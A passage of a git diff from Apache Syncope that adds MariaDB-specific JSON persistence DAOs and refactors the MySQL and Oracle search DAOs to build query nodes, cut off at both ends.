org.apache.syncope.core.persistence.api.dao.JPAJSONAnyDAO; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; -import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.RoleDAO; import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; import org.apache.syncope.core.persistence.api.entity.DerSchema; @@ -40,7 +38,6 @@ import org.apache.syncope.core.persistence.api.entity.PlainSchema; import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.persistence.jpa.entity.user.JPAJSONUser; -import org.apache.syncope.core.persistence.jpa.entity.user.JPAUser; import org.apache.syncope.core.spring.security.SecurityProperties; public class JPAJSONUserDAO extends JPAUserDAO { @@ -54,7 +51,6 @@ public JPAJSONUserDAO( final DynRealmDAO dynRealmDAO, final RoleDAO roleDAO, final AccessTokenDAO accessTokenDAO, - final RealmDAO realmDAO, final GroupDAO groupDAO, final DelegationDAO delegationDAO, final FIQLQueryDAO fiqlQueryDAO, @@ -67,7 +63,6 @@ public JPAJSONUserDAO( dynRealmDAO, roleDAO, accessTokenDAO, - realmDAO, groupDAO, delegationDAO, fiqlQueryDAO, @@ -106,24 +101,9 @@ public List findByDerAttrValue( @Override protected Pair, Set>> doSave(final User user) { - // 1. save clear password value before save - String clearPwd = user.getClearPassword(); - - // 2. save entityManager().flush(); User merged = entityManager().merge(user); - // 3. set back the sole clear password value - JPAUser.class.cast(merged).setClearPassword(clearPwd); - - // 4. enforce password and account policies - try { - enforcePolicies(merged); - } catch (InvalidEntityException e) { - entityManager().remove(merged); - throw e; - } - // ensure that entity listeners are invoked at this point entityManager().flush(); diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONAnyDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONAnyDAO.java new file mode 100644 index 00000000000..72a5466869a --- /dev/null +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONAnyDAO.java @@ -0,0 +1,80 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.dao; + +import java.time.format.DateTimeFormatter; +import java.util.List; +import java.util.Optional; +import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; +import org.apache.syncope.core.persistence.api.entity.AnyUtils; +import org.apache.syncope.core.persistence.api.entity.PlainAttrValue; +import org.apache.syncope.core.persistence.api.entity.PlainSchema; + +public class MaJPAJSONAnyDAO extends AbstractJPAJSONAnyDAO { + + public MaJPAJSONAnyDAO(final PlainSchemaDAO plainSchemaDAO) { + super(plainSchemaDAO); + } + + @Override + protected String queryBegin(final String table) { + throw new UnsupportedOperationException("This method shall never be called"); + } + + @Override + protected String attrValueMatch( + final AnyUtils anyUtils, + final PlainSchema schema, + final PlainAttrValue attrValue, + final boolean ignoreCaseMatch) { + + throw new UnsupportedOperationException("This method shall never be called"); + } + + @Override + protected String plainAttrQuery( + final String table, + final AnyUtils anyUtils, + final PlainSchema schema, + final PlainAttrValue attrValue, + final boolean ignoreCaseMatch, + final List queryParams) { + + queryParams.add(schema.getKey()); + queryParams.add(attrValue.getStringValue()); + queryParams.add(attrValue.getBooleanValue()); + queryParams.add(Optional.ofNullable(attrValue.getDateValue()). + map(DateTimeFormatter.ISO_OFFSET_DATE_TIME::format).orElse(null)); + queryParams.add(attrValue.getLongValue()); + queryParams.add(attrValue.getDoubleValue()); + + SearchViewSupport svs = new SearchViewSupport(anyUtils.anyTypeKind()); + return "SELECT DISTINCT any_id FROM " + + (schema.isUniqueConstraint() ? svs.uniqueAttr().name : svs.attr().name) + + " WHERE schema_id = ? AND ((stringValue IS NOT NULL" + + " AND " + + (ignoreCaseMatch ? "LOWER(" : "BINARY ") + "stringValue" + (ignoreCaseMatch ? ")" : "") + + " = " + + (ignoreCaseMatch ? "LOWER(" : "") + "?" + (ignoreCaseMatch ? ")" : "") + ')' + + " OR (booleanValue IS NOT NULL AND booleanValue = ?)" + + " OR (dateValue IS NOT NULL AND dateValue = ?)" + + " OR (longValue IS NOT NULL AND longValue = ?)" + + " OR (doubleValue IS NOT NULL AND doubleValue = ?))"; + } +} diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONAnySearchDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONAnySearchDAO.java new file mode 100644 index 00000000000..7238fb5602f --- /dev/null +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONAnySearchDAO.java @@ -0,0 +1,156 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.dao; + +import java.time.format.DateTimeFormatter; +import java.util.List; +import java.util.Optional; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; +import org.apache.syncope.core.persistence.api.dao.DynRealmDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.dao.search.AttrCond; +import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; +import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; +import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.api.entity.JSONPlainAttr; +import org.apache.syncope.core.persistence.api.entity.PlainAttr; +import org.apache.syncope.core.persistence.api.entity.PlainAttrUniqueValue; +import org.apache.syncope.core.persistence.api.entity.PlainAttrValue; +import org.apache.syncope.core.persistence.api.entity.PlainSchema; +import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; + +public class MaJPAJSONAnySearchDAO extends JPAAnySearchDAO { + + public MaJPAJSONAnySearchDAO( + final RealmDAO realmDAO, + final DynRealmDAO dynRealmDAO, + final UserDAO userDAO, + final GroupDAO groupDAO, + final AnyObjectDAO anyObjectDAO, + final PlainSchemaDAO schemaDAO, + final EntityFactory entityFactory, + final AnyUtilsFactory anyUtilsFactory, + final PlainAttrValidationManager validator) { + + super( + realmDAO, + dynRealmDAO, + userDAO, + groupDAO, + anyObjectDAO, + schemaDAO, + entityFactory, + anyUtilsFactory, + validator); + } + + @Override + protected void parseOrderByForPlainSchema( + final SearchSupport svs, + final OrderBySupport obs, + final OrderBySupport.Item item, + final OrderByClause clause, + final PlainSchema schema, + final String fieldName) { + + // keep track of involvement of non-mandatory schemas in the order by clauses + obs.nonMandatorySchemas = !"true".equals(schema.getMandatoryCondition()); + + obs.views.add(svs.field()); + + item.select = new StringBuilder(). + append("( SELECT usa").append('.').append(key(schema.getType())). + append(" FROM ").append(schema.isUniqueConstraint() + ? svs.asSearchViewSupport().uniqueAttr().name + : svs.asSearchViewSupport().attr().name). + append(" usa WHERE usa.any_id = "). + append(defaultSV(svs).alias). + append(".any_id"). + append(" AND usa.schema_id ='").append(fieldName).append("'"). + append(" LIMIT 1"). + append(") AS ").append(fieldName).toString(); + item.where = "plainSchema = '" + fieldName + '\''; + item.orderBy = fieldName + ' ' + clause.getDirection().name(); + } + + @Override + protected AnySearchNode getQuery( + final AttrCond cond, + final boolean not, + final Pair checked, + final List parameters, + final SearchSupport svs) { + + // normalize NULL / NOT NULL checks + if (not) { + if (cond.getType() == AttrCond.Type.ISNULL) { + cond.setType(AttrCond.Type.ISNOTNULL); + } else if (cond.getType() == AttrCond.Type.ISNOTNULL) { + cond.setType(AttrCond.Type.ISNULL); + } + } + + switch (cond.getType()) { + case ISNOTNULL: + return new AnySearchNode.Leaf( + svs.field(), + "JSON_SEARCH(" + + "plainAttrs, 'one', '" + checked.getLeft().getKey() + "', NULL, '$[*].schema'" + + ") IS NOT NULL"); + + case ISNULL: + return new AnySearchNode.Leaf( + svs.field(), + "JSON_SEARCH(" + + "plainAttrs, 'one', '" + checked.getLeft().getKey() + "', NULL, '$[*].schema'" + + ") IS NULL"); + + default: + if (!not && cond.getType() == AttrCond.Type.EQ) { + PlainAttr container = anyUtilsFactory.getInstance(svs.anyTypeKind).newPlainAttr(); + container.setSchema(checked.getLeft()); + if (checked.getRight() instanceof PlainAttrUniqueValue) { + container.setUniqueValue((PlainAttrUniqueValue) checked.getRight()); + } else { + ((JSONPlainAttr) container).add(checked.getRight()); + } + + return new AnySearchNode.Leaf( + svs.field(), + "JSON_CONTAINS(" + + "plainAttrs, '" + POJOHelper.serialize(List.of(container)).replace("'", "''") + + "')"); + } else { + Optional.ofNullable(checked.getRight().getDateValue()). + map(DateTimeFormatter.ISO_OFFSET_DATE_TIME::format). + ifPresent(formatted -> { + checked.getRight().setDateValue(null); + checked.getRight().setStringValue(formatted); + }); + + return super.getQuery(cond, not, checked, parameters, svs); + } + } + } +} diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONAuditConfDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONAuditConfDAO.java new file mode 100644 index 00000000000..dbc1bd74237 --- /dev/null +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONAuditConfDAO.java @@ -0,0 +1,62 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.dao; + +import com.fasterxml.jackson.databind.node.ObjectNode; +import java.util.List; +import java.util.stream.Collectors; +import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; + +public class MaJPAJSONAuditConfDAO extends AbstractJPAJSONLoggerDAO { + + protected static class MaMessageCriteriaBuilder extends JSONMessageCriteriaBuilder { + + @Override + protected String doBuild(final List containers) { + if (entityKey != null) { + query.append(andIfNeeded()).append('('). + append("JSON_VALUE(").append(AUDIT_ENTRY_MESSAGE_COLUMN).append(", '$.before') LIKE '%"). + append(entityKey). + append("%' OR "). + append("JSON_VALUE(").append(AUDIT_ENTRY_MESSAGE_COLUMN).append(", '$.input') LIKE '%"). + append(entityKey). + append("%' OR "). + append("JSON_VALUE(").append(AUDIT_ENTRY_MESSAGE_COLUMN).append(", '$.output') LIKE '%"). + append(entityKey). + append("%')"); + } + + if (!containers.isEmpty()) { + query.append(andIfNeeded()).append('('). + append(containers.stream(). + map(container -> "JSON_CONTAINS(" + AUDIT_ENTRY_MESSAGE_COLUMN + ", '" + + POJOHelper.serialize(container).replace("'", "''") + + "')").collect(Collectors.joining(" OR "))). + append(')'); + } + + return query.toString(); + } + } + + @Override + protected MessageCriteriaBuilder messageCriteriaBuilder(final String entityKey) { + return new MaMessageCriteriaBuilder().entityKey(entityKey); + } +} diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONPlainSchemaDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONPlainSchemaDAO.java new file mode 100644 index 00000000000..0a1f5c157b2 --- /dev/null +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MaJPAJSONPlainSchemaDAO.java @@ -0,0 +1,46 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.dao; + +import javax.persistence.Query; +import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; +import org.apache.syncope.core.persistence.api.dao.PlainAttrDAO; +import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; +import org.apache.syncope.core.persistence.api.entity.PlainAttr; +import org.apache.syncope.core.persistence.api.entity.PlainSchema; + +public class MaJPAJSONPlainSchemaDAO extends AbstractJPAJSONPlainSchemaDAO { + + public MaJPAJSONPlainSchemaDAO( + final AnyUtilsFactory anyUtilsFactory, + final PlainAttrDAO plainAttrDAO, + final ExternalResourceDAO resourceDAO) { + + super(anyUtilsFactory, plainAttrDAO, resourceDAO); + } + + @Override + public > boolean hasAttrs(final PlainSchema schema, final Class reference) { + Query query = entityManager().createNativeQuery( + "SELECT COUNT(id) FROM " + new SearchSupport(getAnyTypeKind(reference)).field().name + + " WHERE JSON_CONTAINS(plainAttrs, '[{\"schema\":\"" + schema.getKey() + "\"}]')"); + + return ((Number) query.getSingleResult()).intValue() > 0; + } +} diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MyJPAJSONAnyDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MyJPAJSONAnyDAO.java index 06ad3692c16..ebae9b2d35b 100644 --- a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MyJPAJSONAnyDAO.java +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MyJPAJSONAnyDAO.java @@ -50,16 +50,11 @@ protected String attrValueMatch( Pair schemaInfo = schemaInfo(schema.getType(), ignoreCaseMatch); if (schemaInfo.getRight()) { return "plainSchema = ? " - + "AND " - + (schemaInfo.getRight() ? "LOWER(" : "") + + "AND LOWER(" + (schema.isUniqueConstraint() ? "attrUniqueValue ->> '$." + schemaInfo.getLeft() + '\'' : schemaInfo.getLeft()) - + (schemaInfo.getRight() ? ")" : "") - + " = " - + (schemaInfo.getRight() ? "LOWER(" : "") - + '?' - + (schemaInfo.getRight() ? ")" : ""); + + ") = LOWER(?)"; } else { PlainAttr container = anyUtils.newPlainAttr(); container.setSchema(schema); diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MyJPAJSONAnySearchDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MyJPAJSONAnySearchDAO.java index 40f4c1cf91c..790e5d7faec 100644 --- a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MyJPAJSONAnySearchDAO.java +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/MyJPAJSONAnySearchDAO.java @@ -21,8 +21,6 @@ import java.time.format.DateTimeFormatter; import java.util.List; import java.util.Optional; -import java.util.Set; -import java.util.stream.Collectors; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.types.AttrSchemaType; import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; @@ -32,10 +30,8 @@ import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; -import org.apache.syncope.core.persistence.api.dao.search.AnyCond; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; -import org.apache.syncope.core.persistence.api.entity.AnyUtils; import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.persistence.api.entity.JSONPlainAttr; @@ -70,62 +66,6 @@ public MyJPAJSONAnySearchDAO( validator); } - @Override - protected void processOBS( - final SearchSupport svs, - final OrderBySupport obs, - final StringBuilder where) { - - Set attrs = obs.items.stream(). - map(item -> item.orderBy.substring(0, item.orderBy.indexOf(" "))).collect(Collectors.toSet()); - - obs.views.forEach(searchView -> { - boolean searchViewAddedToWhere = false; - if (searchView.name.equals(svs.field().name)) { - StringBuilder attrWhere = new StringBuilder(); - StringBuilder nullAttrWhere = new StringBuilder(); - - if (svs.nonMandatorySchemas || obs.nonMandatorySchemas) { - where.append(", (SELECT ").append(SELECT_COLS_FROM_VIEW).append(",plainSchema," - + "binaryValue,booleanValue,dateValue,doubleValue,longValue,stringValue,attrUniqueValue " - + "FROM ").append(searchView.name); - searchViewAddedToWhere = true; - - attrs.forEach(field -> { - if (attrWhere.length() == 0) { - attrWhere.append(" WHERE "); - } else { - attrWhere.append(" OR "); - } - attrWhere.append("JSON_CONTAINS(plainAttrs, '[{\"schema\":\"").append(field).append("\"}]')"); - - nullAttrWhere.append(" UNION SELECT DISTINCT ").append(SELECT_COLS_FROM_VIEW).append(", "). - append("'").append(field).append("'").append(" AS plainSchema, "). - append("null AS binaryValue, "). - append("null AS booleanValue, "). - append("null AS dateValue, "). - append("null AS doubleValue, "). - append("null AS longValue, "). - append("null AS stringValue, "). - append("null AS attrUniqueValue "). - append("FROM ").append(svs.field().name). - append(" WHERE any_id NOT IN "). - append("(SELECT DISTINCT any_id FROM "). - append(svs.field().name). - append(" WHERE "). - append("JSON_CONTAINS(plainAttrs, '[{\"schema\":\"").append(field).append("\"}]'))"); - }); - where.append(attrWhere).append(nullAttrWhere).append(')'); - } - } - if (!searchViewAddedToWhere) { - where.append(',').append(searchView.name); - } - - where.append(' ').append(searchView.alias); - }); - } - @Override protected void parseOrderByForPlainSchema( final SearchSupport svs, @@ -140,129 +80,111 @@ protected void parseOrderByForPlainSchema( obs.views.add(svs.field()); - item.select = svs.field().alias + '.' - + (schema.isUniqueConstraint() ? "attrUniqueValue" : key(schema.getType())) - + " AS " + fieldName; + item.select = new StringBuilder().append(schema.isUniqueConstraint() + ? "( SELECT JSON_UNQUOTE(JSON_EXTRACT(usa.attrUniqueValue, '$. " + key(schema.getType()) + "')) " + : "( SELECT usa." + key(schema.getType())). + append(" FROM "). + append(svs.field().name). + append(" usa WHERE usa.any_id = "). + append(svs.field().alias). + append(".any_id"). + append(" AND usa.plainSchema ='").append(fieldName).append("'"). + append(" LIMIT 1"). + append(") AS ").append(fieldName).toString(); item.where = "plainSchema = '" + fieldName + '\''; item.orderBy = fieldName + ' ' + clause.getDirection().name(); } - protected void fillAttrQuery( - final AnyUtils anyUtils, - final StringBuilder query, + protected AnySearchNode.Leaf filJSONAttrQuery( + final SearchSupport.SearchView from, final PlainAttrValue attrValue, final PlainSchema schema, final AttrCond cond, final boolean not, - final List parameters, - final SearchSupport svs) { + final List parameters) { - // This first branch is required for handling with not conditions given on multivalue fields (SYNCOPE-1419) - if (not && schema.isMultivalue() - && !(cond instanceof AnyCond) - && cond.getType() != AttrCond.Type.ISNULL && cond.getType() != AttrCond.Type.ISNOTNULL) { + String key = key(schema.getType()); - query.append("id NOT IN (SELECT DISTINCT any_id FROM "); - query.append(svs.field().name).append(" WHERE "); - fillAttrQuery(anyUtils, query, attrValue, schema, cond, false, parameters, svs); - query.append(')'); - } else { - if (!not && cond.getType() == AttrCond.Type.EQ) { - PlainAttr container = anyUtils.newPlainAttr(); - container.setSchema(schema); - if (attrValue instanceof PlainAttrUniqueValue) { - container.setUniqueValue((PlainAttrUniqueValue) attrValue); - } else { - ((JSONPlainAttr) container).add(attrValue); - } + String value = Optional.ofNullable(attrValue.getDateValue()). + map(DateTimeFormatter.ISO_OFFSET_DATE_TIME::format). + orElse(cond.getExpression()); - query.append("JSON_CONTAINS(plainAttrs, '"). - append(POJOHelper.serialize(List.of(container)).replace("'", "''")). - append("')"); - } else { - String key = key(schema.getType()); + boolean lower = (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) + && (cond.getType() == AttrCond.Type.IEQ || cond.getType() == AttrCond.Type.ILIKE); - String value = Optional.ofNullable(attrValue.getDateValue()). - map(DateTimeFormatter.ISO_OFFSET_DATE_TIME::format). - orElse(cond.getExpression()); + StringBuilder clause = new StringBuilder("plainSchema=?").append(setParameter(parameters, cond.getSchema())). + append(" AND "). + append(lower ? "LOWER(" : ""). + append(schema.isUniqueConstraint() + ? "attrUniqueValue ->> '$." + key + '\'' + : key). + append(lower ? ')' : ""); - boolean lower = (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) - && (cond.getType() == AttrCond.Type.IEQ || cond.getType() == AttrCond.Type.ILIKE); - - query.append("plainSchema=?").append(setParameter(parameters, cond.getSchema())). - append(" AND "). - append(lower ? "LOWER(" : ""). - append(schema.isUniqueConstraint() - ? "attrUniqueValue ->> '$." + key + '\'' - : key). - append(lower ? ')' : ""); - - switch (cond.getType()) { - case LIKE: - case ILIKE: - if (not) { - query.append("NOT "); - } - query.append(" LIKE "); - break; - - case GE: - if (not) { - query.append('<'); - } else { - query.append(">="); - } - break; + switch (cond.getType()) { + case LIKE: + case ILIKE: + if (not) { + clause.append("NOT "); + } + clause.append(" LIKE "); + break; - case GT: - if (not) { - query.append("<="); - } else { - query.append('>'); - } - break; + case GE: + if (not) { + clause.append('<'); + } else { + clause.append(">="); + } + break; - case LE: - if (not) { - query.append('>'); - } else { - query.append("<="); - } - break; + case GT: + if (not) { + clause.append("<="); + } else { + clause.append('>'); + } + break; - case LT: - if (not) { - query.append(">="); - } else { - query.append('<'); - } - break; + case LE: + if (not) { + clause.append('>'); + } else { + clause.append("<="); + } + break; - case EQ: - case IEQ: - default: - if (not) { - query.append('!'); - } - query.append('='); + case LT: + if (not) { + clause.append(">="); + } else { + clause.append('<'); } + break; - query.append(lower ? "LOWER(" : ""). - append('?').append(setParameter(parameters, value)). - append(lower ? ")" : ""); - } + case EQ: + case IEQ: + default: + if (not) { + clause.append('!'); + } + clause.append('='); } + + clause.append(lower ? "LOWER(" : ""). + append('?').append(setParameter(parameters, value)). + append(lower ? ")" : ""); + + return new AnySearchNode.Leaf(from, clause.toString()); } @Override - protected String getQuery( + protected AnySearchNode getQuery( final AttrCond cond, final boolean not, + final Pair checked, final List parameters, final SearchSupport svs) { - Pair checked = check(cond, svs.anyTypeKind); - // normalize NULL / NOT NULL checks if (not) { if (cond.getType() == AttrCond.Type.ISNULL) { @@ -272,30 +194,63 @@ protected String getQuery( } } - StringBuilder query = - new StringBuilder("SELECT DISTINCT any_id FROM ").append(svs.field().name).append(" WHERE "); switch (cond.getType()) { case ISNOTNULL: - query.append("JSON_SEARCH(plainAttrs, 'one', '"). - append(checked.getLeft().getKey()). - append("', NULL, '$[*].schema') IS NOT NULL"); - break; + return new AnySearchNode.Leaf( + svs.field(), + "JSON_SEARCH(" + + "plainAttrs, 'one', '" + checked.getLeft().getKey() + "', NULL, '$[*].schema'" + + ") IS NOT NULL"); case ISNULL: - query.append("JSON_SEARCH(plainAttrs, 'one', '"). - append(checked.getLeft().getKey()). - append("', NULL, '$[*].schema') IS NULL"); - break; + return new AnySearchNode.Leaf( + svs.field(), + "JSON_SEARCH(" + + "plainAttrs, 'one', '" + checked.getLeft().getKey() + "', NULL, '$[*].schema'" + + ") IS NULL"); default: - if (not && !(cond instanceof AnyCond) && checked.getLeft().isMultivalue()) { - query = new StringBuilder("SELECT DISTINCT id AS any_id FROM ").append(svs.table().name). - append(" WHERE "); + if (!not && cond.getType() == AttrCond.Type.EQ) { + PlainAttr container = anyUtilsFactory.getInstance(svs.anyTypeKind).newPlainAttr(); + container.setSchema(checked.getLeft()); + if (checked.getRight() instanceof PlainAttrUniqueValue) { + container.setUniqueValue((PlainAttrUniqueValue) checked.getRight()); + } else { + ((JSONPlainAttr) container).add(checked.getRight()); + } + + return new AnySearchNode.Leaf( + svs.field(), + "JSON_CONTAINS(" + + "plainAttrs, '" + POJOHelper.serialize(List.of(container)).replace("'", "''") + + "')"); + } else { + AnySearchNode.Leaf node; + if (not && checked.getLeft().isMultivalue()) { + AnySearchNode.Leaf notNode = filJSONAttrQuery( + svs.field(), + checked.getRight(), + checked.getLeft(), + cond, + false, + parameters); + node = new AnySearchNode.Leaf( + notNode.getFrom(), + "sv.any_id NOT IN (" + + "SELECT any_id FROM " + notNode.getFrom().name + + " WHERE " + notNode.getClause().replace(notNode.getFrom().alias + ".", "") + + ")"); + } else { + node = filJSONAttrQuery( + svs.field(), + checked.getRight(), + checked.getLeft(), + cond, + not, + parameters); + } + return node; } - fillAttrQuery(anyUtilsFactory.getInstance(svs.anyTypeKind), - query, checked.getRight(), checked.getLeft(), cond, not, parameters, svs); } - - return query.toString(); } } diff --git a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OJPAJSONAnySearchDAO.java b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OJPAJSONAnySearchDAO.java index ad4aaa94343..7bb31c86b99 100644 --- a/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OJPAJSONAnySearchDAO.java +++ b/core/persistence-jpa-json/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OJPAJSONAnySearchDAO.java @@ -21,8 +21,6 @@ import java.time.format.DateTimeFormatter; import java.util.List; import java.util.Optional; -import java.util.Set; -import java.util.stream.Collectors; import org.apache.commons.lang3.BooleanUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.types.AttrSchemaType; @@ -33,10 +31,8 @@ import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; -import org.apache.syncope.core.persistence.api.dao.search.AnyCond; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; -import org.apache.syncope.core.persistence.api.entity.AnyUtils; import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.persistence.api.entity.PlainAttrValue; @@ -67,68 +63,6 @@ public OJPAJSONAnySearchDAO( validator); } - @Override - protected void processOBS( - final SearchSupport svs, - final OrderBySupport obs, - final StringBuilder where) { - - Set attrs = obs.items.stream(). - map(item -> item.orderBy.substring(0, item.orderBy.indexOf(" "))).collect(Collectors.toSet()); - - obs.views.forEach(searchView -> { - boolean searchViewAddedToWhere = false; - if (searchView.name.equals(svs.field().name)) { - StringBuilder attrWhere = new StringBuilder(); - StringBuilder nullAttrWhere = new StringBuilder(); - - if (svs.nonMandatorySchemas || obs.nonMandatorySchemas) { - where.append(", (SELECT ").append(SELECT_COLS_FROM_VIEW).append(",plainSchema," - + "ubinaryValue,ubooleanValue,udateValue,udoubleValue,ulongValue,ustringValue," - + "binaryValue,booleanValue,dateValue,doubleValue,longValue,stringValue FROM "). - append(searchView.name); - searchViewAddedToWhere = true; - - attrs.forEach(field -> { - if (attrWhere.length() == 0) { - attrWhere.append(" WHERE "); - } else { - attrWhere.append(" OR "); - } - attrWhere.append("JSON_EXISTS(plainAttrs, '$[*]?(@.schema == \"").append(field).append("\")')"); - - nullAttrWhere.append(" UNION SELECT DISTINCT ").append(SELECT_COLS_FROM_VIEW).append(","). - append("'").append(field).append("'").append(" AS plainSchema, "). - append("null AS ubinaryValue, "). - append("null AS ubooleanValue, "). - append("null AS udateValue, "). - append("null AS udoubleValue, "). - append("null AS ulongValue, "). - append("null AS ustringValue, "). - append("null AS binaryValue, "). - append("null AS booleanValue, "). - append("null AS dateValue, "). - append("null AS doubleValue, "). - append("null AS longValue, "). - append("null AS stringValue "). - append("FROM ").append(svs.field().name). - append(" WHERE any_id NOT IN "). - append("(SELECT DISTINCT any_id FROM "). - append(svs.field().name). - append(" WHERE "). - append("JSON_EXISTS(plainAttrs, '$[*]?(@.schema == \"").append(field).append("\")'))"); - }); - where.append(attrWhere).append(nullAttrWhere).append(')'); - } - } - if (!searchViewAddedToWhere) { - where.append(',').append(searchView.name); - } - - where.append(' ').append(searchView.alias); - }); - } - @Override protected void parseOrderByForPlainSchema( final SearchSupport svs, @@ -143,119 +77,122 @@ protected void parseOrderByForPlainSchema( obs.views.add(svs.field()); - item.select = svs.field().alias + '.' - + (schema.isUniqueConstraint() ? "u" : "") + key(schema.getType()) - + " AS " + fieldName; + item.select = new StringBuilder().append("( SELECT usa"). + append('.'). + append((schema.isUniqueConstraint() 